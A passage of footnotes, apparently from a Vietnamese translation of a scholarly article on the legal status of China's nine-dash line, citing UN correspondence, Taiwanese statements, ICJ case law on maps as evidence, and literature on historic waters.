đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, 